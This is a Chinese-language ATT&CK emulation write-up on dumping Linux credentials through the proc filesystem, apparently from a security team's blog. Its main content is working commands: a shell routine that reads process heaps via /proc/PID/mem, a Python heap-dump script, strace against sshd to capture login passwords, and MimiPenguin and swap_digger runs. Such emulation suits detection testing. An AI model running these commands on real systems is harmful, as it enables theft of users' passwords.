0x01 基础信息
具体信息 | 详情 |
---|---|
ATT&CK编号 | T1003-007 |
所属战术阶段 | 凭据访问 |
操作系统 | Linux |
监测平台 | 火绒安全、火绒剑、sysmon |
0x02 技术原理
proc 文件系统是一个伪文件系统,它为基于 Linux 的操作系统提供了内核数据结构的接口。它通常安装在/proc目录中。攻击者可能会转储进程内存并提取纯文本和散列密码以获取基于 Linux 的系统中的凭据。Proc 文件系统允许以 root 权限运行的进程从其他正在运行的程序中获取实时内存。如果任何程序在内存中存储纯文本或散列密码,攻击者就可以提取这些值进行利用。
0x03 复现环境
工具列表 | 相关链接 |
---|---|
mimipenguin密码抓取工具 | https://github.com/huntergregal/mimipenguin |
Impost3r窃取linux下各类密码 | https://github.com/ph4ntonn/Impost3r |
swap_digger凭证检索工具 | https://github.com/sevagas/swap_digger |
攻击条件 | 已经获取管理员权限的shell |
0x04 复现过程
-
使用sh本地转储单个进程内存
使用/proc/$PID/mem
,其中 $PID 是目标进程 ID,使用 shell 实用程序将进程内存复制到外部文件,以便稍后搜索或泄露。
名称 | 描述 | 类型 | 默认值 |
---|---|---|---|
输出文件 | 放置检索结果的路径 | path | /tmp/T1003.007.bin |
脚本路径 | 生成目标进程的脚本路径 | path | /tmp/T1003.007.sh |
pid_term | 用于识别目标进程的唯一字符串 | string | T1003.007 |
攻击命令:运行sh!需要提升权限
sh #{script_path} #执行获取进程的脚本,可以批量获取进程,也可作为单个进程输入
PID=$(pgrep -n -f "#{pid_term}") #获取进程对应pid号
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) #获取进程虚拟空间中堆的虚拟内存区域范围(VMA)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) #分隔VMA起始地址
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) #分隔VMA结束地址
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) #计算堆的虚拟内存区域大小
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" #读取进程pid在内存中的内容,并把虚拟内存区域标准输出为一个文件
grep -i "PASS" "#{output_file}" #忽略字符大小写过滤pass
使用sshd服务进程为例,获取sshd的pid进程号为1154
获取进程虚拟空间中堆的虚拟内存区域范围(VMA)grep -E "^[0-9a-f-]* r" /proc/1154/maps | grep heap | cut -d' ' -f 1
读取进程pid在内存中的内容,并将堆的开始和结束存入到一个文件,可以使用shell脚本进行执行,针对输出的文件查找泄露的敏感信息
使用python(本地)转储单个进程内存
使用/proc/$PID/mem
,其中 $PID 是目标进程 ID,使用 Python 脚本将进程的堆内存复制到外部文件,以便稍后搜索或泄露;跟上面采用一样的思路,只不过上面是采用sh实现的,这里是通过python实现的
姓名 | 描述 | 类型 | 默认值 |
---|---|---|---|
输出文件 | 放置捕获结果的路径 | path | /tmp/T1003.007.bin |
脚本路径 | 生成目标进程的脚本路径 | path | /tmp/T1003.007.sh |
python脚本 | 生成目标进程的脚本路径 | path | /T1003.007/src/dump_heap.py |
pid_term | 用于识别目标进程的唯一字符串 | string | T1003.007 |
攻击命令如下
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
python脚本需要依赖python3的环境运行
#!/usr/bin/env python
'''Dump a process's heap space to disk
Usage:
python dump_proc.py <PID> <filepath>
'''
import argparse
parser = argparse.ArgumentParser(description='Dump a process's heap space to disk')
parser.add_argument('pid', type=int, help='ID of process to dump')
parser.add_argument('filepath', help='A filepath to save output to')
args = parser.parse_args()
process_id = args.pid
output_file = args.filepath
with open("/proc/{}/maps".format(process_id), "r") as maps_file:
# example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap]
heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
heap_range = heap_line.split(' ')[0]
mem_start = int(heap_range.split('-')[0], 16)
mem_stop = int(heap_range.split('-')[1], 16)
mem_size = mem_stop - mem_start
with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
mem_file.seek(mem_start, 0)
heap_mem = mem_file.read(mem_size)
with open(output_file, "wb") as ofile:
ofile.write(heap_mem)
使用 MimiPenguin 捕获密码
MimiPenguin 是一个受 MimiKatz 启发的工具,它针对受 CVE-2018-20781(基于 Ubuntu 的发行版和某些版本的 GNOME Keyring)影响的 Linux 系统。在受影响的系统上成功执行后,MimiPenguin 将从内存中检索密码并将其输出到指定文件。
姓名 | 描述 | 类型 | 默认值 |
---|---|---|---|
输出文件 | 放置捕获结果的路径 | path | /tmp/T1003.007Test3.txt |
MimiPenguin_位置 | MimiPenguin脚本的路径 | path | /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh |
攻击命令
{MimiPenguin_Location} > #{output_file}
cat #{output_file}
先决条件:MimiPenguin 脚本必须存在于指定位置的磁盘上
wget -O "/root/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir /root/mimipenguin
tar -xzvf "/root/mimipenguin.tar.gz" -C /root/mimipenguin
可以捕获到gnome桌面的输入密码
Strace获取登陆凭证
strace
是个功能强大的Linux调试分析诊断工具,可用于跟踪程序执行时进程系统调用(system call)和所接收的信号,尤其是针对源码不可读或源码无法再编译的程序。
攻击命令
pgrep -n -f "sshd" #查询sshd服务对应的pid号
strace -f -p {sshd-pid} -o #{outfile.txt}
grep -E 'read(6, ".+\0\0\0\.+"' outfile.txt_location #正则匹配用户密码
swap_digger 提取各类凭证
swap_digger 是一个 bash 脚本,用于自动执行 Linux 交换分析以用于后期开发或取证目的。它自动交换提取并搜索 Linux 用户凭据、Web 表单凭据、Web 表单电子邮件、HTTP 基本身份验证、WiFi SSID 和密钥等。
攻击命令
swap_digger.sh -p #恢复Linux使用了的明文密码
swap_digger.sh -a #获取所有的密码凭证包含WiFi,HTTP表单
swap_digger.sh -S #查找可利用的交换分区
0x05 总结
通过上述的实验可以看出,获取Linux的凭证,基本上是抓取其他正在运行的程序的实时内存,如果这些程序中的任何一个在内存中以明文或密码散列形式存储密码,则可以分别收集这些值以用于使用或破解,进而获取Linux的登录凭证。MimiPenguin和swap_digger这两个工具则偏向自动化攻击场景。
原文始发于微信公众号(闪焰安全服务团队):ATT&CK框架_操作系统凭据转储:Proc 文件系统
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论